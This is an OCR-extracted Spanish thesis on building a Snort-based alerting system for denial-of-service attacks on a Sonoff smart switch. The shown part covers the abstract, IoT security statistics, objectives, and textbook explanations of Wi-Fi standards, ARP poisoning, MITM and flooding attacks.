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Resumen y Abstract IX

Resumen

En el mercado actual existen a la venta muchos dispositivos loT con multiples fallas de seguridad y
poca o cero proteccidn ante ataques cibernéticos [6]. Se investigd sobre los dispositivos loT
vendidos para el hogar y se encontré que los dispositivos bajo la categoria de smart switch son
bastante comunes y adquiridos. La investigacion se enfoco en encontrar mecanismos de deteccién

y alerta para ataques informaticos en los dispositivos loT.

Mediante una division clave en el desarrollo de la metodologia se logro realizar la totalidad de la
investigacion. La investigacion se dividio en 5 objetivos especificos, buscando proponer e
implementar un sistema de alertas para el usuario final ante ataques informaticos en su dispositivo
Smart switch. Primero fue lo mas basico y era encontrar un dispositivo loT que fuera comun en
este tipo de hogares, un dispositivo que fuera basico para el usuario promedio y facil te utilizar.

Con estos criterios se determind escoger un smart switch/plug inteligente.

Una vez encontrado el dispositivo, se buscd entre las marcas comerciales, cual seria el mas
apropiado para la investigacion, con unos estudios de consumo se determiné que la marca Sonoff
disponia de un smart switch popular, econédmico y facil de usar. Lo siguiente fue investigar en el
entorno loT sobre los ataques informaticos que aplicaban a este tipo de dispositivo, conocer cudles
eran comunes y replicables, luego se decidid investigar sobre los ataques de tipo denegacion de

servicio.

Posteriormente con estos ataques se investigaron y se crearon sus respectivos indicadores de
compromiso con los cuales se conocié el alcance y el comportamiento de cada ataque. Una vez
conocido este comportamiento malicioso se procedid con realizar una arquitectura de seguridad
gue me generara alertas en la red cuando se encontrara con uno de estos comportamientos ya
conocidos anteriormente. Esta arquitectura fue realizada gracias a un software de deteccién de

intrusos y para esta investigacion se eligié snort.

Con la realizacion de esta investigacion, se creé un sistema que le notifica al usuario final sobre un
incidente de seguridad informatica en su dispositivo loT mediante una alerta electrdnica. El usuario

final dispone de una documentacidon guia, la cual puede seguir para evitar el ataque,
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adicionalmente alli dispone de buenas practicas para el tratamiento de los incidentes de ciber

seguridad.

Palabras clave: Indicadores de compromiso (IoC), Internet de las cosas (IOT), Smart switch/plug,

Snort, Swatch, Ubuntu, Respuesta incidentes
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Abstract

In today's marketplace there are many loT devices for sale with multiple security flaws and little or
no protection against cyber-attacks [6]. In the research it was found that a specific kind of loT home
device was popular, known as a smart switch/plug, this smart switch is quite common and bought
by customers. The research was focused on finding detection and alert mechanisms for cyber-

attacks on this loT device.

Through a key division in the development of the methodology, the entire investigation was carried
out. The first thing was the most basic and it was to find an loT device that was common in a
modern loT home, a device that was basic for the average user and easy to use. With these criteria

| settled to investigate in a smart switch.

Once the device was found, we searched among the brands which would be the most appropriate
for the investigation, with some consumer studies it was determined that the Sonoff brand had a
popular, economic and easy to use smart switch. The next thing was to investigate in the loT
environment about the computer attacks that are applied to this type of device, to know which
were common and replicable, it was investigated on attacks categorized as denial of service

attacks.

Subsequently, with these attacks, the indicators of compromise were investigated and created,
with which the scope and behavior of each attack was known. Once this malicious behavior is
known, it was processed by implementing a security architecture that generates alerts on the
network when it encounters one of these behaviors previously known. This architecture was made

thanks to an intrusion detection software and “snort” was chosen for this investigation.

By conducting this investigation, a system was created that notifies the end user of a cyber security
incident on their loT device. The end user is given documentation so he can handle the situation,

additionally it has included best practices for this type of incidents.

Keywords: Indicators of compromise, Internet of things, Smart switch/plug, Swatch, Snort, Ubuntu,

Incident response
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Introduccion

El internet de las cosas, o loT (Internet of things) es el método por medio del cual diferentes
dispositivos de uso diario, como nuestras lavadoras, vehiculos, hogares, sensores, y hasta relojes
se conectan al internet. El internet de las cosas se ve en los dispositivos modernos que se conectan
hacia el internet para poder recibir y enviar informacion a este. La razén por la cual conectamos
nuestros objetos cotidianos hacia el internet es sencilla, por conveniencia y automatizacién. Tener
la capacidad de encender la lavadora desde la distancia, poder registrar nuestro ritmo cardiaco en
una aplicacion, revisar el estado del vehiculo sin estar dentro de él, poder revisar la seguridad de

del hogar sin tener que estar alli y hasta apagar nuestro fogdn asi no estemos en el hogar [1].

En este sentido, para el 2020 se tienen mas de 10 billones de dispositivos loT conectados hacia el
internet [2]. Ahora, los dispositivos que componen el entorno loT actualmente se clasifican en 5
categorias: Vehiculos conectados, ciudades inteligentes, hogares inteligentes, salud conectada, y
el sector de la industria inteligente.

Figura 1: Categorias loT

Smart cities
Connectedcars sm A9 = - ... ... ﬁ E
7.7% A m AR S%

GLOBAL IOT

MARKET SHARE

O Industrial loT

0’26.4%

Smart homes ﬁ
15.4%

; _M_ Connected health
22.0%

Fuente: Safeatlast [1]

De acuerdo con la Figura 1, el sector donde mas se utiliza la tecnologia IoT es en las ciudades

inteligentes. Por ejemplo, en la ciudad de Medellin se cuenta con tecnologia loT en los semaforos,
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los cuales permiten que se determinen zonas de alta congestion para agilizar el trafico [3]. Las
ciudades inteligentes equivalen a 2.3 billones de dispositivos conectados actualmente hacia el
internet observado en la figura 1. Alli se encuentran dispositivos para monitorear los lugares de
parqueaderos disponibles, semaforos inteligentes, luces viales inteligentes y hasta calles con
sefializacién inteligente segun la situacion. Para acotar el mercado y el alcance tan amplio que tiene
el tema de 10T se concentrd en la categoria de los hogares inteligentes. Los dispositivos 10T en los

hogares inteligentes componen el 15.4% o 1.3 billones en el mercado global.

Por consiguiente, se generan interrogantes como ¢Qué dispositivos componen un hogar
inteligente? Lo mas esencial es tener una consola central (asistente inteligente) como por ejemplo
un dispositivo “Amazon Alexa” o “Google Assistant”, incluso la marca de Apple también lanzé su
asistente para el hogar “Siri” [4]. Estos dispositivos cumplen con funciones muy similares, son
dispositivos operados por la voz del usuario donde se le dan instrucciones que debe obedecer. La
idea de estas consolas es que el usuario pueda tener acceso mediante la voz a los televisores
inteligentes, parlantes inteligentes y hasta a la nevera inteligente. Otros componentes importantes
gue componen un hogar inteligente son: las luces inteligentes, un sistema de seguridad para alertar
contra intrusos, camaras de vigilancia, aire acondicionado Smart y lo mas sencillo de tener es un
switch o plug inteligente. Por lo tanto, el dispositivo elegido para la investigacién también deberia

tener compatibilidad con las consolas centrales del hogar.

De tal manera, la problematica en loT radica en que los fabricantes de estos dispositivos no estan
incorporando buenas practicas de seguridad en sus dispositivos, estos dispositivos actualmente los
venden muy vulnerables. Investigadores de la Universidad Ben-Gurion del Negev en lIsrael
analizaron 16 dispositivos diferentes de loT y encontraron que incluso los dispositivos criticos como
camaras inteligentes o timbres de puerta no eran dificiles de hackear. "Debido a que estos
dispositivos son fabricados en masa, puedes comprar una cdmara especifica y descubrir sus
debilidades, luego usarla contra cualquier otra persona con la misma camara", dijo el investigador
principal, Omer Shwarts [5]. Los dispositivos que Shwartz probd tenian contrasefias para acceder a
la configuracidn, pero no siempre eran seguras. Shwartz dijo que el dispositivo mas facil de hackear
tenia "1234" como contrasena, y el dispositivo mas dificil de hackear, era un monitor para bebés,

solo tarddé dos dias en vulnerar su seguridad. "Creo que soy la Unica persona que conoce la



Introduccioén 3

contrasefia, por lo que no voy a compartirla”, dijo Shwartz, "pero es preocupante que haya sido

tan facil" [5].

Un reporte realizado por Avast sobre los hogares inteligentes revela que dos de cada cinco hogares
digitales (40.8%) en todo el mundo contienen al menos un dispositivo que es vulnerable a los
ataques cibernéticos. De estos, 69.2% son vulnerables debido a credenciales débiles, y 31.4%
debido a vulnerabilidades de software. Con solo tener un dispositivo vulnerable conectado a
internet este pone en riesgo todo el hogar inteligente [6]. Una pareja residente de la ciudad de
Chicago, Estados Unidos, reporté una intrusion a su hogar inteligente por parte de un hacker. La
pareja relatd que era una noche tranquila, cuando estaban por dormirse escucharon la voz de un
hombre desconocido habldndole por medio del monitor de bebés a su hijo de 7 meses. De
inmediato se llevaron al nifio de la habitaciéon, pero también notaron que su termémetro
inteligente habia sido alterado toda vez la temperatura de la habitaciéon fue modificada de 72
grados hasta los 90 grados. Luego la voz a través de los parlantes le decia a la pareja que dejara de
moverse y que no miraran a la cdmara de seguridad. Alli fue cuando se dieron cuenta que también

su camara de vigilancia fue vulnerada [7].

De hecho, un estudio publicado por Palo alto en el 2020, llegaron a la conclusion de que el 98% del
trafico en los dispositivos 10T no estd encriptado y que el 57% de los dispositivos loT en el mercado
son vulnerables a ataques de severidad media o alta [8]. Un reporte de amenazas realizado por la
compania Nokia encontrd que en el 2020 los ataques informaticos por malware a dispositivos loT
se duplicaron de un 16.17% en 2019 a 32.72% (Figura 2) en 2020 [9]. Algunos factores que
contribuyen a este crecimiento fueron por ejemplo la pandemia del virus Covid-19, el incremento

de dispositivos |oT en el mercado y la facilidad de infectar y vulnerar los dispositivos loT.
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Figura 2: Dispositivos infectados 2019 - 2020

Figure 3. Infected device breakdown 2019 and 2020

2020
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Fuente: Nokia [9]
Ahora bien, es evidente que la tecnologia loT presenta mucha vulnerabilidad con los atacantes
cibernéticos. Este proyecto de investigacion aporta un mecanismo de defensa para el usuario final
qgue adquiere un dispositivo smart switch en su hogar inteligente. Esta investigacion no se pudo
realizar en todas las marcas de los dispositivos smart switch por que se sale del alcance para una
investigacion de esta magnitud, por lo tanto, solo se trabajé con una marca en especifico. Para la

realizacion de esta investigacion se cuenta con el siguiente objetivo general y objetivos especificos:

Objetivo General
Crear un plan de alertas en dispositivos Smart switch/plug, basado en indicadores de compromiso
(loC), que, a través de un manejo de incidentes de seguridad, identifiquen y notifiquen al usuario

los ataques informaticos en la red 10T.

Objetivos Especificos

o Identificar los ataques informaticos mas relevantes que se pueden presentar en las redes
loT asociados a los Smart switch/plug.
e (Clasificar los indicadores de compromiso que se generan en los dispositivos Smart

switch/plug después de un ataque informatico.



Introduccioén 5

e Disefiar la arquitectura que monitoree en tiempo real al dispositivo Smart switch/plug en
lared loT.

e Realizar un plan de manejo de incidentes de seguridad para el usuario final una vez
identificado los ataques informaticos.

e Validar el plan de alertas implementado a partir de ataques controlados evidenciados en

alertas por correo electronico.

Esta investigacion presenta la forma cdémo se realizan los ataques encontrados que vulneran la
disponibilidad del dispositivo loT, se muestra como se le hace su respectiva deteccion de acuerdo
con el indicador de compromiso hallado y finalmente una documentacidon guia que ayudara al
usuario final ante este tipo de situaciones. Esta investigacion tiene los apartados de su resumen e
introduccion, su respectivo marco tedrico donde se explican los conceptos y las tecnologias
aplicadas, el estado del arte para comprender lo que se ha hecho en este campo, seguido de la
metodologia con los resultados mostrados para evidenciar el desarrollo de los objetivos y por

ultimo las conclusiones y trabajo a futuro.






1. Marco Teorico y Estado del Arte

En este capitulo de la investigacidn se explica la tecnologia utilizada por el smart switch elegido, la
teoria clave para el entendimiento de los dispositivos y los ataques, los conceptos necesarios para
entender la arquitectura implementada y la solucidn dada, los protocolos utilizados, los diferentes

ataques informaticos replicados y luego se expone el estado del arte.

1.1 Marco tedrico

1.1.1 Sonoff Smart switch

El Sonoff smart switch brinda la capacidad de convertir dispositivos ordinarios en dispositivos
inteligentes, lo que le permite controlarlos a través de la aplicacion mévil desde cualquier lugar. Al
conectar el Smart switch con una bombilla, por ejemplo, se puede encender y apagar desde el
celular. También trabaja con plataformas activadas por voz, incluidas Amazon Alexa y Google

Assistant, esta caracteristica lo hace mds apetecido por el publico de los sistemas inteligentes en el

hogar o el entorno loT.

Figura 3: Dispositivo Sonoff smart switch basic
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Fuente: Sonoff [10]
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El proveedor del dispositivo (Figura 3), Sonoff, muestra la tecnologia que utiliza y sus capacidades:
e Modelo: Sonoff basic
e Standard inalambrico: Wi-Fi 2.4GHz 802.11 b/g/n
e Color: blanco
e Material: fuego retardante Acrilonitrilo butadieno estireno
e Seguridad: WEP/WPA-PSK/WPA2-PSK
e Fuente de poder: 90 — 250V AC
e Maxima corriente: 2200 W
e Temperatura para operar: 0°C—-40°C

e  Wifi chip ESP8266

Con estos datos se esclarece el funcionamiento del dispositivo, la tecnologia que tiene incorporada
y los protocolos que maneja, a continuacion, se profundiza un poco en los protocolos y tecnologias
importantes. La aplicacidon que utiliza el Sonoff smart switch se llama “eWelink” (Figura 4), se
encuentra disponible para dispositivos Android y Apple. Desde esta aplicacidon es por donde se
enciende o apaga el smart switch.

Figura 4: Aplicacion mévil eWelink

eWelink - Smart Home

FleHEERAR  Lifesiyle * %4 2aE42 &
€ FEreryone

This app is compatible with wour device.

Installed

Fuente: eWelink [11]

Una aplicacién, innumerables dispositivos. eWelink es la plataforma de aplicaciones que admite
multiples marcas de dispositivos inteligentes, incluido Sonoff. Permite conexiones entre hardware
inteligente diversificado e integra consolas inteligentes populares como Amazon Alexa, Google

Home. eWelink sirve como el mejor centro de control del hogar. Algunas caracteristicas de la



aplicacion es que permite el control remoto, programacion, temporizador, temporizador de bucle,

avance lento, escena inteligente, uso compartido, agrupacion, modo LAN [11].

1.1.2 El estandar 802.11 b/g/n

802.11 representa la designacién IEEE para las redes inalambricas. Existen varias especificaciones
de redes inalambricas bajo el nombre de 802.11. Algunos de los estdndares mds comunes en el
mercado son la 802.11, 802.11a, 802.11b, 802.11g y 802.11n. Todos estos estdndares utilizan el

protocolo Ethernet y el método de acceso CSMA / CA.

Figura 5: Wifi chip ESP8266EX

Fuente: Searchnetworking [12]

El chip utilizado en el smart switch (Figura 5)es el que ofrece la tecnologia de conexion a la red

inaldmbrica, en este caso el chip ESP8266EX utiliza el estandar 802.11 b/g/n.

Los canales de radiofrecuencia (RF) son una parte importante de la comunicacién inaldmbrica. Un
canal es la banda de RF utilizada para la comunicaciéon inalambrica. Cada estandar inaldmbrico IEEE
especifica los canales que se pueden usar. El estdndar 802.11a especifica rangos de frecuencia de

radio entre 5.15 y 5.875GHz. En contraste, los estandares 802.11by 802.11g operan en el rango de
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2.4 a 2.497GHz [13]. Como lo establecié el fabricante, el dispositivo smart switch opera en la

frecuencia de 2.4GHZ y por lo tanto maneja el estandar de 802.11 b/g/n.

El método de acceso CSMA / CA (Carrier Sense Multiple Access with Collision Avoidance) o, en
espanol, acceso multiple con escucha de portadora y evasidn de colisiones es un protocolo para
transmision de envié de datos en redes 802.11. A diferencia de CSMA / CD (Acceso multiple con
deteccion de portador / Deteccidn de colision) que se ocupa de las transmisiones después de que

se haya producido una colisién, CSMA / CA actua para evitar colisiones antes de que sucedan.

En CSMA / CA, tan pronto como un nodo recibe un paquete que se enviara, verifica para asegurarse
de que el canal esté libre (ninguin otro nodo estd transmitiendo en ese momento). Si el canal estd
libre, se envia el paquete. Si el canal no esta libre, el nodo espera un periodo de tiempo elegido al
azar y luego vuelve a comprobar si el canal esta libre. Este periodo de tiempo se denomina factor
de retroceso y un contador de retroceso lo cuenta regresivamente. Si el canal esta libre cuando el
contador de retroceso llega a cero, el nodo transmite el paquete. Si el canal no esta libre cuando el
contador de retroceso llega a cero, el factor de retroceso se establece nuevamente y el proceso se

repite [14].

Los estandares inalambricos 802.11 pueden diferir en términos de velocidad, rangos de transmision
y frecuencia utilizada, pero en términos de implementacion son similares. Todos los estandares
pueden usar una infraestructura o un disefio de red inaldmbrica, incluso admiten una arquitectura
ad hoc (redes temporales sin tener la necesidad de un enrutador), y cada uno puede usar los

mismos protocolos de seguridad.

e EEE 802.11: En realidad, hubo dos variaciones en el estandar inalambrico 802.11 inicial.
Ambos ofrecieron velocidades de transmision de 1 o 2Mbps y la misma RF de 2.4GHz. La
diferencia entre los dos estaba en cémo viajaban los datos a través de los medios de RF.
Uno usaba FHSS y el otro usaba DSSS. Los estandares 802.11 originales son demasiado
lentos para las necesidades modernas de redes y ahora ya no se implementan.

e |EEE 802.11b: el estandar 802.11b proporciona una velocidad de transmisién maxima de

11 Mbps. Sin embargo, los dispositivos estan disefiados para ser compatibles con los
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estandares 802.11 anteriores que proporcionaban velocidades de 1, 2 y 5.5Mbps. 802.11b
usa un rango de RF de 2.4GHz y es compatible con 802.11g.

e |IEEE 802.11g: 802.11g es un estandar inaldmbrico popular hoy en dia. 802.11g ofrece
transmisidn inaldmbrica en distancias de mas de 45 metros y velocidades de hasta 54Mbps
en comparacién con los 11Mbps del estandar 802.11b, el rango y las velocidades pueden
ser afectadas por obstaculos, las métricas son basadas en un ambiente sin obstaculos. Al
igual que 802.11b, 802.11g opera en el rango de 2.4GHz y, por lo tanto, es compatible con
él.

e |IEEE 802.11n: El objetivo del estandar 802.11n es aumentar significativamente el
rendimiento en el rango de frecuencia de 2.4GHz y 5GHz. El objetivo basico del estdndar
era alcanzar velocidades de 100 Mbps, pero dadas las condiciones adecuadas, se estima
que las velocidades 802.11n podrian alcanzar la asombrosa cifra de 600 Mbps. En la
operacion practica, las velocidades 802.11n seran mucho mas lentas. La distancia de
cobertura se amplia un poco mas 53 metros, el rango y las velocidades pueden ser

afectadas por obstdaculos, las métricas son basadas en un ambiente sin obstaculos.

El estandar que utiliza el dispositivo serd determinado por el enrutador inaldmbrico toda vez él es

quien ofrece la sefial inaldmbrica a donde se conectara este [13].

1.1.3 Protocolos de Seguridad WEP y WPA/WPA2-PSK

Cuando se trata de la seguridad inaldmbrica en WiFi, en realidad solo hay un par de opciones que
tiene para el publico comun, especialmente si se esta configurando una red inaldmbrica doméstica.
Los tres grandes protocolos de seguridad actuales son WEP, WPA y WPA2. Los dos grandes
algoritmos que se utilizan con estos protocolos son TKIP y AES. Bdsicamente, los protocolos de
seguridad inaldmbrica surgieron a finales de los 90 y han ido evolucionando desde entonces.
Afortunadamente, solo se aceptaron unos pocos protocolos y, por lo tanto, es mucho mas facil de

entender [15].
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WEP

WEP o Wired Equivalent Privacy (privacidad cableada equivalente) se lanzé en 1997 junto con el
estandar 802.11 para redes inaldmbricas. Se suponia que debia proporcionar una confidencialidad

equivalente a la de las redes cableadas (de ahi el nombre).

WEP comenzd con un cifrado de 64 bits y eventualmente llegd hasta el cifrado de 256 bits, pero la
implementaciéon mas popular en los enrutadores fue el cifrado de 128 bits. Desafortunadamente,
muy poco después de la introduccidon de WEP, los investigadores de seguridad encontraron varias

vulnerabilidades que les permitieron descifrar una clave WEP en pocos minutos.

Incluso con actualizaciones y correcciones, el protocolo WEP seguia siendo vulnerable y facil de
penetrar. En respuesta a estos problemas, WiFi Alliance introdujo WPA o WiFi Protected Access

(acceso protegido wifi), que se adoptd en 2003 [15].
WPA

WPA en realidad estaba destinado a ser solo un remedio intermedio hasta que pudieran finalizar
WPA2, que se introdujo en 2004 y ahora es el estandar utilizado actualmente. WPA utilizé TKIP o
Protocolo de integridad de clave temporal como una forma de garantizar la integridad del mensaje.
Esto era diferente de WEP, que usaba CRC o Cyclic Redundancy Check. TKIP fue mucho mds fuerte

que CRC.

Desafortunadamente, para mantener las cosas compatibles, WiFi Alliance tomé prestados algunos
aspectos de WEP, lo que terminé haciendo que WPA con TKIP también fuera inseguro. WPA incluyé
una nueva caracteristica llamada WPS (WiFi Protected Setup), que se suponia que facilitaria a los
usuarios la conexién de dispositivos al enrutador inaldmbrico. Sin embargo, terminé teniendo
vulnerabilidades que permitieron a los investigadores de seguridad descifrar una clave WPA en un

corto periodo de tiempo también [15].
WPA2

WPA2 estuvo disponible a partir de 2004 y fue requerido oficialmente en 2006. EI mayor cambio
entre WPA y WPA2 fue el uso del algoritmo de cifrado AES con CCMP en lugar de TKIP.
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En WPA, AES era opcional, pero en WPA2, se debe elegir entre encriptacidon con AES o utilizar la
TKIP. En términos de seguridad, AES es mucho mas seguro que TKIP. Se han encontrado algunos
problemas en WPA2, en la actualidad ya se encontraron vulnerabilidades y problemas de seguridad
con este protocolo, pero es el mds seguro que se encuentra en el mercado disponible para los

hogares domésticos mientras el protocolo WPA3 se comercializa mas y se expande.

WPA utiliza una clave de 64 bits o de 128 bits, la mas comun es la de 64 bits para los enrutadores
domeésticos. PSK o Clave Pre-Compartida estd disefado para redes en hogares y oficinas pequenas

donde cada usuario tiene la misma frase contrasefia[15].

Una vez mads, el protocolo de seguridad a utilizar por el dispositivo es dada por el protocolo
configurado en el enrutador, esto ya varia de acuerdo con el administrador del dispositivo y la

configuracién que este le dio.

1.1.4 Modelo de comunicacion del smart switch Sonoff

Con analizar el comportamiento del trafico de red que navega hacia y afuera del dispositivo se logré
establecer el modelo de comunicacidn y fue evidente que utiliza el modelo de conexidn por capas
de TCP-IP. Con la utilizacidn de un software para capturar el trafico en la red, wireshark (Figura 6),

se pudo analizar el modelo de comunicacién del dispositivo:

Figura 6 : Capas del modelo TCP/IP wireshark
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Las capas evidenciadas son cuatro (Figura 7), la capa de enlace, la capa de red, la capa de transporte
y la capa de aplicacién. A continuacién, se muestran algunos ejemplos de lo que ocurre en cada

una de las capas.

Figura 7: Capas del modelo TCP/IP
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e Capa de aplicacion: Es la capa ubicada en la parte mas superior de la pila de protocolos y
es donde la aplicacion recibe los comandos enviados e interactda con el usuario. En la
captura de trafico con wireshark se observa como la aplicaciéon envia datos encriptados
mediante el puerto 443 correspondiente a TLS.

e Capade transporte: La capa de transporte establece la conexidn entre las aplicaciones que
se ejecutan en diferentes hosts. Utiliza TCP para conexiones confiables y UDP para
conexiones rapidas. Realiza un seguimiento de los procesos que se ejecutan en las
aplicaciones que se encuentran arriba al asignarles nimeros de puerto y utiliza la capa de
red para acceder a la red TCP / IP. En esta capa es donde se define el puerto que deberd
seguir el paquete.

e Capa de red: La capa de red es responsable de crear los paquetes que se mueven a través
de la red. Utiliza direcciones IP para identificar el origen y el destino del paquete.

e (Capa de enlace: La capa de enlace es la combinacién de la capa de la capa de enlace de
datos y la capa fisica del modelo OSI tradicional. Es responsable de crear las tramas que se
mueven a través de la red. Estas tramas encapsulan los paquetes y usan direcciones MAC
para identificar el origen y el destino. En esta capa también viene embebida los estandares

de conexién y los protocolos de conexidon que irian en la capa fisica [16].

1.1.5 Indicadores de compromiso

Es importante aclarar el concepto de Indicador de compromiso (IOC), toda vez es parte
fundamental para la investigacion presente. Los indicadores de compromiso (IOC) son datos
forenses dejados atras, como los datos que se encuentran en los logs de los sistemas, que
identifican actividades potencialmente maliciosas en un sistema o red. Estos loC ayudan a los
profesionales de tecnologia con la deteccién de robo de informacion, infecciones de malware, u
otra actividad de amenaza. Al monitorear los indicadores de compromiso, las organizaciones
pueden detectar ataques y actuar rapidamente para evitar que ocurran violaciones o limitar los
dafos al detener los ataques en etapas tempranas. Los indicadores de compromiso actian como
migajas de pan para detectar actividad maliciosa al principio de la secuencia de ataque. Estas
actividades inusuales son las banderas rojas que indican un ataque potencial o en curso que podria

llevar a un dafio, robo de datos o un compromiso de los sistemas [17].
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En la busqueda para detectar brechas de datos mas rdpidamente, los indicadores de compromiso
pueden actuar como rutas de acceso importantes para los profesionales de seguridad que vigilan
sus entornos de TI. Segun los expertos, algunos indicadores clave de compromiso para monitorear

son [18]:

e Tréfico de red inusual.

e Archivos desconocidos, aplicaciones y procesos en el sistema.

e Actividad sospechosa en administrador o cuentas privilegiadas.

e Actividades irregulares, como el trafico en los paises inusuales.

e Inicios de sesidn, acceso y otras actividades de red que indiquen ataques de sondeo o de
fuerza bruta.

e Picos andmalos de solicitudes y volumen de lectura en archivos.

e Tréfico de red por puertos inusualmente utilizados.

e Configuraciones de archivos, servidores de nombres de dominio (DNS) y registros
alterados, cambios en la configuracién del sistema.

e Grandes cantidades de archivos comprimidos y datos inexplicablemente encontrados en
ubicaciones inusuales

e Llaves de registro alteradas

Sobre el trafico de red inusual es el indicador por el cual nos basamos para la recoleccién de la

evidencia del ataque y asi poder implementar el sistema de deteccidn y alerta.

1.1.6 Ataques de Red

Se definid por enfocar la investigacion en ataques que interrumpan la disponibilidad del servicio
del smart switch, toda vez el dispositivo no guarda informacién confidencial de nadie y como no

tiene almacenamiento entonces tampoco nos impacta en la integridad de los datos.

Los ataques establecidos impactan al dispositivo en la capa de enlace y en la capa de red. En la capa

de enlace tenemos unos ataques con la suplantacion de la direccion MAC y en la capa de red
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tenemos ataques con la suplantacién de la direccidn IP, estos ataques se conocen como Arp
spoofing o Arp poisoning (envenenamiento de la ARP). Otro de los ataques replicados es un MITM
(man in the middle) o en espafiol hombre en el medio, ataques por denegacidn de servicio de tipo
flooding que afectan al dispositivo en su capa de red y ataques de des-autenticacion al dispositivo

de la red conectada.

Protocolo de resolucion de direcciones (ARP)

El Protocolo de resolucién de direcciones (ARP) consiste en un procedimiento para asignar una
direcciéon de protocolo de Internet dindmica (direccién IP) a una direccion de maquina fisica
permanente en una red de area local (LAN). La direccién fisica de la maquina también se conoce

como Control de acceso al medio o direccion MAC.

El trabajo del ARP es esencialmente traducir direcciones de 32 bits (IP) a direcciones de 48 bits
(MAC) vy viceversa. Esto es necesario porque en la version 4 de IP (IPv4), el nivel mds comun de
protocolo de Internet (IP) en uso hoy en dia, una direccién IP tiene 32 bits de largo, pero las

direcciones MAC tienen 48 bits.

ARP funciona entre las capas de red 2 y 3 del modelo de interconexidn de sistemas abiertos (modelo
OSI). En este modelo evidenciado, el modelo TCP/IP, la direccidn MAC existe en la capa 1
referenciada anteriormente, la capa de enlace de datos, mientras que la direccidn IP existe en la

capa 2, la capa de red [19].

ARP Poisoning

El envenenamiento ARP (también conocido como ARP Spoofing) es un tipo de ataque informatico
llevado a cabo a través de una red de area local (LAN) que implica el envio de paquetes ARP
maliciosos a una puerta de enlace predeterminada en una LAN para cambiar los emparejamientos
con su tabla de direccién IP y las direcciones MAC que tiene registradas. La direccion MAC o media
Access control (control de acceso de medio) es un cddigo que identifica a la tarjeta de red de un

dispositivo, estd compuesta por nimeros hexadecimal distribuidos entre 6 pares de digitos, por
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ejemplo: 00:0d:81:b1:c0:8b. A continuacidn, se muestra un ejemplo de una tabla ARP encontrada

en un enrutador cisco,

Tabla 1: Tabla ARP router cisco

Rlffshow ip arp

Protocol | Address Aoe (min) Hardware Addr Type Interface

Internet | 10.0.0.1 - 0060.5C32.7E01 |ARPL GigabhitEtherneto,/0
Internet | 10.0.0.10 & 000C.85CA. AD73 |ARPL GigabitEthernet0/0
Internet | 172.16.0.1 - 00e60,5C32.7E02 |ARPL GigabitEthernetl/1
Internet | 172.16.0.2 10 J0001.63DE. 1802 |JARFL GigabhitEthernet0/1

Fuente: Bestestredteam [20]

Como se puede observar en la Tabla 1, el dispositivo guarda en la tabla las direcciones IP y las asocia
con las direcciones fisicas MAC de los dispositivos de la red local LAN. Basicamente el ataque lo que
busca es modificar esta tabla y engaiar al enrutador con datos falsos de direccion MAC y direccidn
IP. El protocolo ARP traduce las direcciones IP en direcciones MAC. Debido a que el protocolo ARP
fue disenado exclusivamente para la eficiencia y no para la seguridad, los ataques de
envenenamiento ARP son extremadamente faciles de llevar a cabo siempre que el atacante tenga

el control de una mdaquina dentro de la LAN de destino o esté directamente conectada a ella.

Por consiguiente el ataque en si consiste en que un atacante envia un mensaje de respuesta ARP
falsa a la puerta de enlace de red predeterminada, informandole que su direccién MAC debe estar
asociada con la direccién IP de su objetivo (y viceversa, por lo que el MAC de su objetivo es ahora
asociado con la direccidn IP del atacante). Una vez que la puerta de enlace predeterminada ha
recibido este mensaje y transmite sus cambios a todos los demas dispositivos en la red, todo el
trafico del destino a cualquier otro dispositivo en la red viaja a través de la computadora del
atacante, permitiendo que el atacante lo inspeccione o modifique antes de reenviarlo a su
verdadero destino. Debido a que los ataques de ARP Poisoning ocurren en un nivel tan bajo, los
usuarios objetivo de ARP Poisoning rara vez se dan cuenta de que su trafico estd siendo
inspeccionado o modificado. Ademas de los ataques Man-in-the-Middle (MITM), el
envenenamiento ARP se puede usar para causar una condicion de denegacidn de servicio en una

LAN simplemente interceptando o soltando y no reenviando los paquetes del objetivo [21].
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Figura 8: ARP Poisoning
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Fuente: Paloalto [22]

Al realizar el ataque (Figura 8), el atacante puede ver todo el trafico saliente de la victima y

decidir qué hacer con él.

MITM (Man in the middle u hombre en el medio)

En un ataque de hombre en el medio, el atacante se coloca entre dos dispositivos (a menudo un
navegador web y un servidor web) e interceptan o modifican las comunicaciones entre los dos. Los
atacantes pueden recopilar informacion y suplantar a cualquiera de los dos agentes. Ademas de los
sitios web, estos ataques pueden dirigirse a comunicaciones por correo electrénico, buisquedas de
DNS y redes WiFi-publicas. Los objetivos tipicos de los ataques man-in-the-middle incluyen todo
tipo de empresas, el comercio por correo electrdnico, las redes wifi publicas, bancos y lugares

donde pueda haber personas que el atacante considere “importantes” [23].

Figura 9: Ataque MITM
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Fuente: Angela Wood[23]

Se puede pensar en un ataque de hombre en el medio (Figura 9) como un trabajador postal
deshonesto que se sienta en una oficina de correos e intercepta cartas escritas entre dos personas.
Este empleado postal puede leer mensajes privados e incluso editar el contenido de esas cartas
antes de pasarlas a sus destinatarios. El ataque de hombre en el medio tiene muchos fines, como,
por ejemplo: encontrar usuarios y contrasefias de una victima, robar informacidn financiera, robar
correos, pero para la investigacién presente se utilizd este ataque para denegar el servicio de la
victima. El ataque de hombre en el medio también funciona con la modificacidn de la tabla ARP de

las victimas.

Ataque de denegacion de servicio (DOS) por flooding

Un ataque de denegacién de servicio (DoS) es un ataque destinado a apagar/inhabilitar o dejar sin
servicio a una maquina o red, haciéndola inaccesible para sus usuarios clientes. Los ataques DoS
logran esto inundando el objetivo con trafico o envidndole informacién que desencadena un
blogueo. En ambos casos, el ataque DoS priva a los usuarios legitimos (es decir, empleados,

miembros o titulares del servicio) del servicio o recurso que esperaban.

Las victimas de ataques DoS a menudo se dirigen a servidores web de organizaciones de alto perfil,
como bancos, empresas comerciales y de medios, u organizaciones gubernamentales y

comerciales. Aunque los ataques DoS generalmente no resultan en el robo o la pérdida de
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informacidn significativa u otros activos, pueden costarle a la victima una gran cantidad de tiempo

y dinero para manejar.

Hay dos métodos generales de ataques DoS: servicios de inundacidn o servicios de bloqueo. Los
ataques de inundacién se producen cuando el sistema recibe demasiado trafico para que el
servidor se almacene en el bufer, lo que hace que se desaceleren y finalmente se detengan. Este
ataque por inundacién es el que se conoce como “flooding”. Los ataques de inundacién populares

incluyen [24]:

e Ataques de desbordamiento de bufer: El atague DoS mas comun. El concepto es enviar
mas trafico a una direccion de red de lo que los programadores han construido para
manejar el sistema. Incluye los ataques enumerados a continuacién, ademas de otros que
estan disefiados para explotar errores especificos de ciertas aplicaciones o redes.

